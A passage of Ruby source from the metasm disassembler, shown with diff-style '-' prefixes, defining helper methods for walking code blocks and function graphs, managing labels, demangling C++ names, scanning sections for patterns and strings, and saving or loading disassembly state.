|a| yield a, :subfuncret } - each_to_indirect { |a| yield a, :indirect } - end - def each_to_normal(&b) - @to_normal.each(&b) if to_normal - end - def each_to_subfuncret(&b) - @to_subfuncret.each(&b) if to_subfuncret - end - def each_to_indirect(&b) - @to_indirect.each(&b) if to_indirect - end - - # yields all from that are from the same function - def each_from_samefunc(dasm, &b) - return if dasm.function[address] - @from_subfuncret.each(&b) if from_subfuncret - @from_normal.each(&b) if from_normal - end - - # yields all from that are not in the same subfunction as this block - def each_from_otherfunc(dasm, &b) - @from_normal.each(&b) if from_normal and dasm.function[address] - @from_subfuncret.each(&b) if from_subfuncret and dasm.function[address] - @from_indirect.each(&b) if from_indirect - end - - # yields all to that are in the same subfunction as this block - def each_to_samefunc(dasm) - each_to { |to, type| - next if type != :normal and type != :subfuncret - to = dasm.normalize(to) - yield to if not dasm.function[to] - } - end - - # yields all to that are not in the same subfunction as this block - def each_to_otherfunc(dasm) - each_to { |to, type| - to = dasm.normalize(to) - yield to if type == :indirect or dasm.function[to] or not dasm.decoded[to] - } - end - - # returns the array used in each_from_samefunc - def from_samefunc(dasm) - ary = [] - each_from_samefunc(dasm) { |a| ary << a } - ary - end - def from_otherfunc(dasm) - ary = [] - each_from_otherfunc(dasm) { |a| ary << a } - ary - end - def to_samefunc(dasm) - ary = [] - each_to_samefunc(dasm) { |a| ary << a } - ary - end - def to_otherfunc(dasm) - ary = [] - each_to_otherfunc(dasm) { |a| ary << a } - ary - end -end - -class DecodedInstruction - # checks if this instruction is the first of its IBlock - def block_head? - self == @block.list.first - end -end - -class CPU - # compat alias, for scripts using older version of metasm - def get_backtrace_binding(di) backtrace_binding(di) end -end - -class Disassembler - # access the default value for @@backtrace_maxblocks for newly created Disassemblers - def self.backtrace_maxblocks ; @@backtrace_maxblocks ; end - def self.backtrace_maxblocks=(b) ; @@backtrace_maxblocks = b ; end - - # adds a commentary at the given address - # comments are found in the array @comment: {addr => [list of strings]} - def add_comment(addr, cmt) - @comment[addr] ||= [] - @comment[addr] |= [cmt] - end - - # returns the 1st element of #get_section_at (ie the edata at a given address) or nil - def get_edata_at(*a) - if s = get_section_at(*a) - s[0] - end - end - - # returns the DecodedInstruction at addr if it exists - def di_at(addr) - di = @decoded[addr] || @decoded[normalize(addr)] if addr - di if di.kind_of? DecodedInstruction - end - - # returns the InstructionBlock containing the address at addr - def block_at(addr) - di = di_at(addr) - di.block if di - end - - # returns the DecodedFunction at addr if it exists - def function_at(addr) - f = @function[addr] || @function[normalize(addr)] if addr - f if f.kind_of? DecodedFunction - end - - # returns the DecodedInstruction covering addr - # returns one at starting nearest addr if multiple are available (overlapping instrs) - def di_including(addr) - return if not addr - addr = normalize(addr) - if off = (0...16).find { |o| @decoded[addr-o].kind_of? DecodedInstruction and @decoded[addr-o].bin_length > o } - @decoded[addr-off] - end - end - - # returns the InstructionBlock containing the byte at addr - # returns the one of di_including() on multiple matches (overlapping instrs) - def block_including(addr) - di = di_including(addr) - di.block if di - end - - # returns the DecodedFunction including this byte - # return the one of find_function_start() if multiple are possible (block shared by multiple funcs) - def function_including(addr) - return if not di = di_including(addr) - function_at(find_function_start(di.address)) - end - - # yields every InstructionBlock - # returns the list of IBlocks - def each_instructionblock(&b) - ret = [] - @decoded.each { |addr, di| - next if not di.kind_of? DecodedInstruction or not di.block_head? - ret << di.block - b.call(di.block) if b - } - ret - end - alias instructionblocks each_instructionblock - - # return a backtrace_binding reversed (akin to code emulation) (but not really) - def get_fwdemu_binding(di, pc=nil) - @cpu.get_fwdemu_binding(di, pc) - end - - # reads len raw bytes from the mmaped address space - def read_raw_data(addr, len) - if e = get_section_at(addr) - e[0].read(len) - end - end - - # read an int of arbitrary type (:u8, :i32, ...) - def decode_int(addr, type) - type = "u#{type*8}".to_sym if type.kind_of? Integer - if e = get_section_at(addr) - e[0].decode_imm(type, @cpu.endianness) - end - end - - # read a byte at address addr - def decode_byte(addr) - decode_int(addr, :u8) - end - - # read a dword at address addr - # the dword is cpu-sized (eg 32 or 64bits) - def decode_dword(addr) - decode_int(addr, @cpu.size/8) - end - - # read a zero-terminated string from addr - # if no terminal 0 is found, return nil - def decode_strz(addr, maxsz=4096) - if e = get_section_at(addr) - str = e[0].read(maxsz).to_s - return if not len = str.index(?\0) - str[0, len] - end - end - - # read a zero-terminated wide string from addr - # return nil if no terminal found - def decode_wstrz(addr, maxsz=4096) - if e = get_section_at(addr) - str = e[0].read(maxsz).to_s - return if not len = str.unpack('v*').index(0) - str[0, 2*len] - end - end - - # disassembles one instruction at address - # returns nil if no instruction can be decoded there - # does not update any internal state of the disassembler, nor reuse the @decoded cache - def disassemble_instruction(addr) - if e = get_section_at(addr) - @cpu.decode_instruction(e[0], normalize(addr)) - end - end - - # disassemble addr as if the code flow came from from_addr - def disassemble_from(addr, from_addr) - from_addr = from_addr.address if from_addr.kind_of? DecodedInstruction - from_addr = normalize(from_addr) - if b = block_at(from_addr) - b.add_to_normal(addr) - end - @addrs_todo << [addr, from_addr] - disassemble - end - - # returns the label associated to an addr, or nil if none exist - def get_label_at(addr) - e = get_edata_at(addr, false) - e.inv_export[e.ptr] if e - end - - # sets the label for the specified address - # returns nil if the address is not mapped - # memcheck is passed to get_section_at to validate that the address is mapped - # keep existing label if 'overwrite' is false - def set_label_at(addr, name, memcheck=true, overwrite=true) - addr = Expression[addr].reduce - e, b = get_section_at(addr, memcheck) - if not e - elsif not l = e.inv_export[e.ptr] or (!overwrite and l != name) - l = @program.new_label(name) - e.add_export l, e.ptr - @label_alias_cache = nil - @old_prog_binding[l] = @prog_binding[l] = b + e.ptr - elsif l != name - l = rename_label l, @program.new_label(name) - end - l - end - - # remove a label at address addr - def del_label_at(addr, name=get_label_at(addr)) - ed = get_edata_at(addr) - if ed and ed.inv_export[ed.ptr] - ed.del_export name, ed.ptr - @label_alias_cache = nil - end - each_xref(addr) { |xr| - next if not xr.origin or not o = @decoded[xr.origin] or not o.kind_of? Renderable - o.each_expr { |e| - next unless e.kind_of?(Expression) - e.lexpr = addr if e.lexpr == name - e.rexpr = addr if e.rexpr == name - } - } - @old_prog_binding.delete name - @prog_binding.delete name - end - - # changes a label to another, updates referring instructions etc - # returns the new label - # the new label must be program-uniq (see @program.new_label) - def rename_label(old, new) - return new if old == new - raise "label #{new.inspect} exists" if @prog_binding[new] - each_xref(normalize(old)) { |x| - next if not di = @decoded[x.origin] - @cpu.replace_instr_arg_immediate(di.instruction, old, new) - di.comment.to_a.each { |c| c.gsub!(old, new) } - } - e = get_edata_at(old, false) - if e - e.add_export new, e.export.delete(old), true - end - raise "cant rename nonexisting label #{old}" if not @prog_binding[old] - @label_alias_cache = nil - @old_prog_binding[new] = @prog_binding[new] = @prog_binding.delete(old) - @addrs_todo.each { |at| - case at[0] - when old; at[0] = new - when Expression; at[0] = at[0].bind(old => new) - end - } - - if @inv_section_reloc[old] - @inv_section_reloc[old].each { |b, e_, o, r| - (0..16).each { |off| - if di = @decoded[Expression[b]+o-off] and di.bin_length > off - @cpu.replace_instr_arg_immediate(di.instruction, old, new) - end - } - r.target = r.target.bind(old => new) - } - @inv_section_reloc[new] = @inv_section_reloc.delete(old) - end - - if c_parser and @c_parser.toplevel.symbol[old] - @c_parser.toplevel.symbol[new] = @c_parser.toplevel.symbol.delete(old) - @c_parser.toplevel.symbol[new].name = new - end - - new - end - - # finds the start of a function from the address of an instruction - def find_function_start(addr) - addr = addr.address if addr.kind_of? DecodedInstruction - todo = [addr] - done = [] - while a = todo.pop - a = normalize(a) - di = @decoded[a] - next if done.include? a or not di.kind_of? DecodedInstruction - done << a - a = di.block.address - break a if @function[a] - l = [] - di.block.each_from_samefunc(self) { |f| l << f } - break a if l.empty? - todo.concat l - end - end - - # iterates over the blocks of a function, yields each func block address - # returns the graph of blocks (block address => [list of samefunc blocks]) - def each_function_block(addr, incl_subfuncs = false, find_func_start = true) - addr = @function.index(addr) if addr.kind_of? DecodedFunction - addr = addr.address if addr.kind_of? DecodedInstruction - addr = find_function_start(addr) if not @function[addr] and find_func_start - todo = [addr] - ret = {} - while a = todo.pop - next if not di = di_at(a) - a = di.block.address - next if ret[a] - ret[a] = [] - yield a if block_given? - di.block.each_to_samefunc(self) { |f| ret[a] << f ; todo << f } - di.block.each_to_otherfunc(self) { |f| ret[a] << f ; todo << f } if incl_subfuncs - end - ret - end - alias function_blocks each_function_block - - # returns a graph of function calls - # for each func passed as arg (default: all), update the 'ret' hash - # associating func => [list of direct subfuncs called] - def function_graph(funcs = @function.keys + @entrypoints.to_a, ret={}) - funcs = funcs.map { |f| normalize(f) }.uniq.find_all { |f| @decoded[f] } - funcs.each { |f| - next if ret[f] - ret[f] = [] - each_function_block(f) { |b| - @decoded[b].block.each_to_otherfunc(self) { |sf| - ret[f] |= [sf] - } - } - } - ret - end - - # return the graph of function => subfunction list - # recurses from an entrypoint - def function_graph_from(addr) - addr = normalize(addr) - addr = find_function_start(addr) || addr - ret = {} - osz = ret.length-1 - while ret.length != osz - osz = ret.length - function_graph(ret.values.flatten + [addr], ret) - end - ret - end - - # return the graph of function => subfunction list - # for which a (sub-sub)function includes addr - def function_graph_to(addr) - addr = normalize(addr) - addr = find_function_start(addr) || addr - full = function_graph - ret = {} - todo = [addr] - done = [] - while a = todo.pop - next if done.include? a - done << a - full.each { |f, sf| - next if not sf.include? a - ret[f] ||= [] - ret[f] |= [a] - todo << f - } - end - ret - end - - # returns info on sections, from @program if supported - # returns an array of [name, addr, length, info] - def section_info - if @program.respond_to? :section_info - @program.section_info - else - list = [] - @sections.each { |k, v| - list << [get_label_at(k), normalize(k), v.length, nil] - } - list - end - end - - # transform an address into a file offset - def addr_to_fileoff(addr) - addr = normalize(addr) - @program.addr_to_fileoff(addr) - end - - # transform a file offset into an address - def fileoff_to_addr(foff) - @program.fileoff_to_addr(foff) - end - - # remove the decodedinstruction from..to, replace them by the new Instructions in 'by' - # this updates the block list structure, old di will still be visible in @decoded, except from original block (those are deleted) - # if from..to spans multiple blocks - # to.block is splitted after to - # all path from from are replaced by a single link to after 'to', be careful ! - # (eg a->b->... & a->c ; from in a, to in c => a->b is lost) - # all instructions are stuffed in the first block - # paths are only walked using from/to_normal - # 'by' may be empty - # returns the block containing the new instrs (nil if empty) - def replace_instrs(from, to, by, patch_by=false) - raise 'bad from' if not fdi = di_at(from) or not fdi.block.list.index(fdi) - raise 'bad to' if not tdi = di_at(to) or not tdi.block.list.index(tdi) - - # create DecodedInstruction from Instructions in 'by' if needed - split_block(fdi.block, fdi.address) - split_block(tdi.block, tdi.block.list[tdi.block.list.index(tdi)+1].address) if tdi != tdi.block.list.last - fb = fdi.block - tb = tdi.block - - # generate DecodedInstr from Instrs - # try to keep the bin_length of original block - wantlen = tdi.address + tdi.bin_length - fb.address - wantlen -= by.grep(DecodedInstruction).inject(0) { |len, di| len + di.bin_length } - ldi = by.last - ldi = DecodedInstruction.new(ldi) if ldi.kind_of? Instruction - nb_i = by.grep(Instruction).length - wantlen = nb_i if wantlen < 0 or (ldi and ldi.opcode.props[:setip]) - if patch_by - by.map! { |di| - if di.kind_of? Instruction - di = DecodedInstruction.new(di) - wantlen -= di.bin_length = wantlen / by.grep(Instruction).length - nb_i -= 1 - end - di - } - else - by = by.map { |di| - if di.kind_of? Instruction - di = DecodedInstruction.new(di) - wantlen -= (di.bin_length = wantlen / nb_i) - nb_i -= 1 - end - di - } - end - - -#puts " ** patch next_addr to #{Expression[tb.list.last.next_addr]}" if not by.empty? and by.last.opcode.props[:saveip] - by.last.next_addr = tb.list.last.next_addr if not by.empty? and by.last.opcode.props[:saveip] - fb.list.each { |di| @decoded.delete di.address } - fb.list.clear - tb.list.each { |di| @decoded.delete di.address } - tb.list.clear - by.each { |di| fb.add_di di } - by.each_with_index { |di, i| - if odi = di_at(di.address) - # collision, hopefully with another deobfuscation run ? - if by[i..-1].all? { |mydi| mydi.to_s == @decoded[mydi.address].to_s } - puts "replace_instrs: merge at #{di}" if $DEBUG - by[i..-1] = by[i..-1].map { |xdi| @decoded[xdi.address] } - by[i..-1].each { fb.list.pop } - split_block(odi.block, odi.address) - tb.to_normal = [di.address] - (odi.block.from_normal ||= []) << to - odi.block.from_normal.uniq! - break - else - #raise "replace_instrs: collision #{di} vs #{odi}" - puts "replace_instrs: collision #{di} vs #{odi}" if $VERBOSE - while @decoded[di.address].kind_of? DecodedInstruction # find free space.. raise ? - di.address += 1 # XXX use floats ? - di.bin_length -= 1 - end - end - end - @decoded[di.address] = di - } - @addrs_done.delete_if { |ad| normalize(ad[0]) == tb.address or ad[1] == tb.address } - @addrs_done.delete_if { |ad| normalize(ad[0]) == fb.address or ad[1] == fb.address } if by.empty? and tb.address != fb.address - - # update to_normal/from_normal - fb.to_normal = tb.to_normal - fb.to_normal.to_a.each { |newto| - # other paths may already point to newto, we must only update the relevant entry - if ndi = di_at(newto) and idx = ndi.block.from_normal.to_a.index(to) - if by.empty? - ndi.block.from_normal[idx,1] = fb.from_normal.to_a - else - ndi.block.from_normal[idx] = fb.list.last.address - end - end - } - - fb.to_subfuncret = tb.to_subfuncret - fb.to_subfuncret.to_a.each { |newto| - if ndi = di_at(newto) and idx = ndi.block.from_subfuncret.to_a.index(to) - if by.empty? - ndi.block.from_subfuncret[idx,1] = fb.from_subfuncret.to_a - else - ndi.block.from_subfuncret[idx] = fb.list.last.address - end - end - } - - if by.empty? - tb.to_subfuncret = nil if tb.to_subfuncret == [] - tolist = tb.to_subfuncret || tb.to_normal.to_a - if lfrom = get_label_at(fb.address) and tolist.length == 1 - lto = auto_label_at(tolist.first) - each_xref(fb.address, :x) { |x| - next if not di = @decoded[x.origin] - @cpu.replace_instr_arg_immediate(di.instruction, lfrom, lto) - di.comment.to_a.each { |c| c.gsub!(lfrom, lto) } - } - end - fb.from_normal.to_a.each { |newfrom| - if ndi = di_at(newfrom) and idx = ndi.block.to_normal.to_a.index(from) - ndi.block.to_normal[idx..idx] = tolist - end - } - fb.from_subfuncret.to_a.each { |newfrom| - if ndi = di_at(newfrom) and idx = ndi.block.to_subfuncret.to_a.index(from) - ndi.block.to_subfuncret[idx..idx] = tolist - end - } - else - # merge with adjacent blocks - merge_blocks(fb, fb.to_normal.first) if fb.to_normal.to_a.length == 1 and di_at(fb.to_normal.first) - merge_blocks(fb.from_normal.first, fb) if fb.from_normal.to_a.length == 1 and di_at(fb.from_normal.first) - end - - fb if not by.empty? - end - - # undefine a sequence of decodedinstructions from an address - # stops at first non-linear branch - # removes @decoded, @comments, @xrefs, @addrs_done - # does not update @prog_binding (does not undefine labels) - def undefine_from(addr) - return if not di_at(addr) - @comment.delete addr if @function.delete addr - split_block(addr) - addrs = [] - while di = di_at(addr) - di.block.list.each { |ddi| addrs << ddi.address } - break if di.block.to_subfuncret.to_a != [] or di.block.to_normal.to_a.length != 1 - addr = di.block.to_normal.first - break if ndi = di_at(addr) and ndi.block.from_normal.to_a.length != 1 - end - addrs.each { |a| @decoded.delete a } - @xrefs.delete_if { |a, x| - if not x.kind_of? Array - true if x and addrs.include? x.origin - else - x.delete_if { |xx| addrs.include? xx.origin } - true if x.empty? - end - } - @addrs_done.delete_if { |ad| !(addrs & [normalize(ad[0]), normalize(ad[1])]).empty? } - end - - # merge two instruction blocks if they form a simple chain and are adjacent - # returns true if merged - def merge_blocks(b1, b2, allow_nonadjacent = false) - if b1 and not b1.kind_of? InstructionBlock - return if not b1 = block_at(b1) - end - if b2 and not b2.kind_of? InstructionBlock - return if not b2 = block_at(b2) - end - if b1 and b2 and (allow_nonadjacent or b1.list.last.next_addr == b2.address) and - b1.to_normal.to_a == [b2.address] and b2.from_normal.to_a.length == 1 and # that handles delay_slot - b1.to_subfuncret.to_a == [] and b2.from_subfuncret.to_a == [] and - b1.to_indirect.to_a == [] and b2.from_indirect.to_a == [] - b2.list.each { |di| b1.add_di di } - b1.to_normal = b2.to_normal - b2.list.clear - @addrs_done.delete_if { |ad| normalize(ad[0]) == b2.address } - true - end - end - - # computes the binding of a code sequence - # just a forwarder to CPU#code_binding - def code_binding(*a) - @cpu.code_binding(self, *a) - end - - # returns an array of instructions/label that, once parsed and assembled, should - # give something equivalent to the code accessible from the (list of) entrypoints given - # from the @decoded dasm graph - # assume all jump targets have a matching label in @prog_binding - # may add inconditionnal jumps in the listing to preserve the code flow - def flatten_graph(entry, include_subfunc=true) - ret = [] - entry = [entry] if not entry.kind_of? Array - todo = entry.map { |a| normalize(a) } - done = [] - inv_binding = @prog_binding.invert - while addr = todo.pop - next if done.include? addr or not di_at(addr) - done << addr - b = @decoded[addr].block - - ret << Label.new(inv_binding[addr]) if inv_binding[addr] - ret.concat b.list.map { |di| di.instruction } - - b.each_to_otherfunc(self) { |to| - to = normalize to - todo.unshift to if include_subfunc - } - b.each_to_samefunc(self) { |to| - to = normalize to - todo << to - } - - if not di = b.list[-1-@cpu.delay_slot] or not di.opcode.props[:stopexec] or di.opcode.props[:saveip] - to = b.list.last.next_addr - if todo.include? to - if done.include? to or not di_at(to) - if not to_l = inv_binding[to] - to_l = auto_label_at(to, 'loc') - if done.include? to and idx = ret.index(@decoded[to].block.list.first.instruction) - ret.insert(idx, Label.new(to_l)) - end - end - ret << @cpu.instr_uncond_jump_to(to_l) - else - todo << to # ensure it's next in the listing - end - end - end - end - - ret - end - - # returns a demangled C++ name - def demangle_cppname(name) - case name[0] - when ?? # MSVC - name = name[1..-1] - demangle_msvc(name[1..-1]) if name[0] == ?? - when ?_ - name = name.sub(/_GLOBAL__[ID]_/, '') - demangle_gcc(name[2..-1][/\S*/]) if name[0, 2] == '_Z' - end - end - - # from wgcc-2.2.2/undecorate.cpp - # TODO - def demangle_msvc(name) - op = name[0, 1] - op = name[0, 2] if op == '_' - if op = { - '2' => "new", '3' => "delete", '4' => "=", '5' => ">>", '6' => "<<", '7' => "!", '8' => "==", '9' => "!=", - 'A' => "[]", 'C' => "->", 'D' => "*", 'E' => "++", 'F' => "--", 'G' => "-", 'H' => "+", 'I' => "&", - 'J' => "->*", 'K' => "/", 'L' => "%", 'M' => "<", 'N' => "<=", 'O' => ">", 'P' => ">=", 'Q' => ",", - 'R' => "()", 'S' => "~", 'T' => "^", 'U' => "|", 'V' => "&&", 'W' => "||", 'X' => "*=", 'Y' => "+=", - 'Z' => "-=", '_0' => "/=", '_1' => "%=", '_2' => ">>=", '_3' => "<<=", '_4' => "&=", '_5' => "|=", '_6' => "^=", - '_7' => "`vftable'", '_8' => "`vbtable'", '_9' => "`vcall'", '_A' => "`typeof'", '_B' => "`local static guard'", - '_C' => "`string'", '_D' => "`vbase destructor'", '_E' => "`vector deleting destructor'", '_F' => "`default constructor closure'", - '_G' => "`scalar deleting destructor'", '_H' => "`vector constructor iterator'", '_I' => "`vector destructor iterator'", - '_J' => "`vector vbase constructor iterator'", '_K' => "`virtual displacement map'", '_L' => "`eh vector constructor iterator'", - '_M' => "`eh vector destructor iterator'", '_N' => "`eh vector vbase constructor iterator'", '_O' => "`copy constructor closure'", - '_S' => "`local vftable'", '_T' => "`local vftable constructor closure'", '_U' => "new[]", '_V' => "delete[]", - '_X' => "`placement delete closure'", '_Y' => "`placement delete[] closure'"}[op] - op[0] == ?` ? op[1..-2] : "op_#{op}" - end - end - - # from http://www.codesourcery.com/public/cxx-abi/abi.html - def demangle_gcc(name) - subs = [] - ret = '' - decode_tok = lambda { - name ||= '' - case name[0] - when nil - ret = nil - when ?N - name = name[1..-1] - decode_tok[] - until name[0] == ?E - break if not ret - ret << '::' - decode_tok[] - end - name = name[1..-1] - when ?I - name = name[1..-1] - ret = ret[0..-3] if ret[-2, 2] == '::' - ret << '<' - decode_tok[] - until name[0] == ?E - break if not ret - ret << ', ' - decode_tok[] - end - ret << ' ' if ret and ret[-1] == ?> - ret << '>' if ret - name = name[1..-1] - when ?T - case name[1] - when ?T; ret << 'vtti(' - when ?V; ret << 'vtable(' - when ?I; ret << 'typeinfo(' - when ?S; ret << 'typename(' - else ret = nil - end - name = name[2..-1].to_s - decode_tok[] if ret - ret << ')' if ret - name = name[1..-1] if name[0] == ?E - when ?C - name = name[2..-1] - base = ret[/([^:]*)(<.*|::)?$/, 1] - ret << base - when ?D - name = name[2..-1] - base = ret[/([^:]*)(<.*|::)?$/, 1] - ret << '~' << base - when ?0..?9 - nr = name[/^[0-9]+/] - name = name[nr.length..-1].to_s - ret << name[0, nr.to_i] - name = name[nr.to_i..-1] - subs << ret[/[\w:]*$/] - when ?S - name = name[1..-1] - case name[0] - when ?_, ?0..?9, ?A..?Z - case name[0] - when ?_; idx = 0 ; name = name[1..-1] - when ?0..?9; idx = name[0, 1].unpack('C')[0] - 0x30 + 1 ; name = name[2..-1] - when ?A..?Z; idx = name[0, 1].unpack('C')[0] - 0x41 + 11 ; name = name[2..-1] - end - if not subs[idx] - ret = nil - else - ret << subs[idx] - end - when ?t - ret << 'std::' - name = name[1..-1] - decode_tok[] - else - std = { ?a => 'std::allocator', - ?b => 'std::basic_string', - ?s => 'std::string', # 'std::basic_string < char, std::char_traits, std::allocator >', - ?i => 'std::istream', # 'std::basic_istream >', - ?o => 'std::ostream', # 'std::basic_ostream >', - ?d => 'std::iostream', # 'std::basic_iostream >' - }[name[0]] - if not std - ret = nil - else - ret << std - end - name = name[1..-1] - end - when ?P, ?R, ?r, ?V, ?K - attr = { ?P => '*', ?R => '&', ?r => ' restrict', ?V => ' volatile', ?K => ' const' }[name[0]] - name = name[1..-1] - rl = ret.length - decode_tok[] - if ret - ret << attr - subs << ret[rl..-1] - end - else - if ret =~ /[(<]/ and ty = { - ?v => 'void', ?w => 'wchar_t', ?b => 'bool', ?c => 'char', ?a => 'signed char', - ?h => 'unsigned char', ?s => 'short', ?t => 'unsigned short', ?i => 'int', - ?j => 'unsigned int', ?l => 'long', ?m => 'unsigned long', ?x => '__int64', - ?y => 'unsigned __int64', ?n => '__int128', ?o => 'unsigned __int128', ?f => 'float', - ?d => 'double', ?e => 'long double', ?g => '__float128', ?z => '...' - }[name[0]] - name = name[1..-1] - ret << ty - else - fu = name[0, 2] - name = name[2..-1] - if op = { - 'nw' => ' new', 'na' => ' new[]', 'dl' => ' delete', 'da' => ' delete[]', - 'ps' => '+', 'ng' => '-', 'ad' => '&', 'de' => '*', 'co' => '~', 'pl' => '+', - 'mi' => '-', 'ml' => '*', 'dv' => '/', 'rm' => '%', 'an' => '&', 'or' => '|', - 'eo' => '^', 'aS' => '=', 'pL' => '+=', 'mI' => '-=', 'mL' => '*=', 'dV' => '/=', - 'rM' => '%=', 'aN' => '&=', 'oR' => '|=', 'eO' => '^=', 'ls' => '<<', 'rs' => '>>', - 'lS' => '<<=', 'rS' => '>>=', 'eq' => '==', 'ne' => '!=', 'lt' => '<', 'gt' => '>', - 'le' => '<=', 'ge' => '>=', 'nt' => '!', 'aa' => '&&', 'oo' => '||', 'pp' => '++', - 'mm' => '--', 'cm' => ',', 'pm' => '->*', 'pt' => '->', 'cl' => '()', 'ix' => '[]', - 'qu' => '?', 'st' => ' sizeof', 'sz' => ' sizeof', 'at' => ' alignof', 'az' => ' alignof' - }[fu] - ret << "operator#{op}" - elsif fu == 'cv' - ret << "cast<" - decode_tok[] - ret << ">" if ret - else - ret = nil - end - end - end - name ||= '' - } - - decode_tok[] - subs.pop - if ret and name != '' - ret << '(' - decode_tok[] - while ret and name != '' - ret << ', ' - decode_tok[] - end - ret << ')' if ret - end - ret - end - - # scans all the sections raw for a given regexp - # return/yields all the addresses matching - # if yield returns nil/false, do not include the addr in the final result - # sections are scanned MB by MB, so this should work (slowly) on 4GB sections (eg debugger VM) - # with addr_start/length, symbol-based section are skipped - def pattern_scan(pat, addr_start=nil, length=nil, chunksz=nil, margin=nil, &b) - chunksz ||= 4*1024*1024 # scan 4MB at a time - margin ||= 65536 # add this much bytes at each chunk to find /pat/ over chunk boundaries - - pat = Regexp.new(Regexp.escape(pat)) if pat.kind_of? ::String - - found = [] - @sections.each { |sec_addr, e| - if addr_start - length ||= 0x1000_0000 - begin - if sec_addr < addr_start - next if sec_addr+e.length <= addr_start - e = e[addr_start-sec_addr, e.length] - sec_addr = addr_start - end - if sec_addr+e.length > addr_start+length - next if sec_addr > addr_start+length - e = e[0, sec_addr+e.length-(addr_start+length)] - end - rescue - puts $!, $!.message, $!.backtrace if $DEBUG - # catch arithmetic error with symbol-based section - next - end - end - e.pattern_scan(pat, chunksz, margin) { |eo| - match_addr = sec_addr + eo - found << match_addr if not b or b.call(match_addr) - false - } - } - found - end - - # returns/yields [addr, string] found using pattern_scan /[\x20-\x7e]/ - def strings_scan(minlen=6, &b) - ret = [] - nexto = 0 - pattern_scan(/[\x20-\x7e]{#{minlen},}/m, nil, 1024) { |o| - if o - nexto > 0 - next unless e = get_edata_at(o) - str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/m] - ret << [o, str] if not b or b.call(o, str) - nexto = o + str.length - end - } - ret - end - - # exports the addr => symbol map (see load_map) - def save_map - @prog_binding.map { |l, o| - type = di_at(o) ? 'c' : 'd' # XXX - o = o.to_s(16).rjust(8, '0') if o.kind_of? ::Integer - "#{o} #{type} #{l}" - } - end - - # loads a map file (addr => symbol) - # off is an optionnal offset to add to every address found (for eg rebased binaries) - # understands: - # standard map files (eg linux-kernel.map: , e.g. 'c01001ba t setup_idt') - # ida map files (: ) - # arg is either the map itself or the filename of the map (if it contains no newline) - def load_map(str, off=0) - str = File.read(str) rescue nil if not str.index("\n") - sks = @sections.keys.sort - seen = {} - str.each_line { |l| - case l.strip - when /^([0-9A-F]+)\s+(\w+)\s+(\w+)/i # kernel.map style - addr = $1.to_i(16)+off - set_label_at(addr, $3, false, !seen[addr]) - seen[addr] = true - when /^([0-9A-F]+):([0-9A-F]+)\s+([a-z_]\w+)/i # IDA style - # we do not have section load order, let's just hope that the addresses are sorted (and sortable..) - # could check the 1st part of the file, with section sizes, but it is not very convenient - # the regexp is so that we skip the 1st part with section descriptions - # in the file, section 1 is the 1st section ; we have an additionnal section (exe header) which fixes the 0-index - addr = sks[$1.to_i(16)] + $2.to_i(16) + off - set_label_at(addr, $3, false, !seen[addr]) - seen[addr] = true - end - } - end - - # saves the dasm state in a file - def save_file(file) - tmpfile = file + '.tmp' - File.open(tmpfile, 'wb') { |fd| save_io(fd) } - File.rename tmpfile, file - end - - # saves the dasm state to an IO - def save_io(fd) - fd.puts 'Metasm.dasm' - - if @program.filename and not @program.kind_of?(Shellcode) - t = @program.filename.to_s - fd.puts "binarypath #{t.length}", t - else - t = "#{@cpu.class.name.sub(/.*::/, '')} #{@cpu.size} #{@cpu.endianness}" - fd.puts "cpu #{t.length}", t - # XXX will be reloaded as a Shellcode with this CPU, but it may be a custom EXE - # do not output binarypath, we'll be loaded as a Shellcode, 'section' will suffice - end - - @sections.each { |a, e| - # forget edata exports/relocs - # dump at most 16Mo per section - t = "#{Expression[a]} #{e.length}\n" + - [e.data[0, 2**24].to_str].pack('m*') - fd.puts "section #{t.length}", t - } - - t = save_map.join("\n") - fd.puts "map #{t.length}", t - - t = @decoded.map { |a, d| - next if not d.kind_of? DecodedInstruction - "#{Expression[a]},#{d.bin_length} #{d.instruction}#{" ; #{d.comment.join(' ')}" if d.comment}" - }.compact.sort.join("\n") - fd.puts "decoded #{t.length}", t - - t = @comment.map { |a, c| - c.map { |l| l.chomp }.join("\n").split("\n").map { |lc| "#{Expression[a]} #{lc.chomp}" } - }.join("\n") - fd.puts "comment #{t.length}", t - - bl = @decoded.values.map { |d| - d.block if d.kind_of? DecodedInstruction and d.block_head? - }.compact - t = bl.map { |b| - [Expression[b.address], - b.list.map { |d| Expression[d.address] }.join(','), - b.to_normal.to_a.map { |t_| Expression[t_] }.join(','), - b.to_subfuncret.to_a.map { |t_| Expression[t_] }.join(','), - b.to_indirect.to_a.map { |t_| Expression[t_] }.join(','), - b.from_normal.to_a.map { |t_| Expression[t_] }.join(','), - b.from_subfuncret.to_a.map { |t_| Expression[t_] }.join(','), - b.from_indirect.to_a.map { |t_| Expression[t_] }.join(','), - ].join(';') - }.sort.join("\n") - fd.puts "blocks #{t.length}", t - - t = @function.map { |a, f| - next if not @decoded[a] - [a, *f.return_address.to_a].map { |e| Expression[e] }.join(',') - }.compact.sort.join("\n") - # TODO binding ? - fd.puts "funcs #{t.length}", t - - t = @xrefs.map { |a, x| - a = ':default' if a == :default - a = ':unknown' if a == Expression::Unknown - # XXX origin - case x - when nil - when Xref - [Expression[a], x.type, x.len, (Expression[x.origin] if x.origin)].join(',') - when Array - x.map { |x_| [Expression[a], x_.type, x_.len, (Expression[x_.origin] if x_.origin)].join(',') } - end - }.compact.join("\n") - fd.puts "xrefs #{t.length}", t - - t = @c_parser.to_s - fd.puts "c #{t.length}", t - - #t = bl.map { |b| b.backtracked_for } - #fd.puts "trace #{t.length}" , t - end - - # loads a disassembler from a saved file - def self.load(str, &b) - d = new(nil, nil) - d.load(str, &b) - d - end - - # loads the dasm state from a savefile content - # will yield unknown segments / binarypath notfound - def load(str) - raise 'Not a metasm save file' if str[0, 12].chomp != 'Metasm.dasm' - off = 12 - pp = Preprocessor.new - app = AsmPreprocessor.new - while off < str.length - i = str.index("\n", off) || str.length - type, len = str[off..i].chomp.split - off = i+1 - data = str[off, len.to_i] - off += len.to_i - case type - when nil, '' - when 'binarypath' - data = yield(type, data) if not File.exist? data and block_given? - reinitialize AutoExe.decode_file(data) - @program.disassembler = self - @program.init_disassembler - when 'cpu' - cpuname, size, endianness = data.split - cpu = Metasm.const_get(cpuname) - raise 'invalid cpu' if not cpu < CPU - cpu = cpu.new - cpu.size = size.to_i - cpu.endianness = endianness.to_sym - reinitialize Shellcode.new(cpu) - @program.disassembler = self - @program.init_disassembler - @sections.delete(0) # rm empty section at 0, other real 'section' follow - when 'section' - info = data[0, data.index("\n") 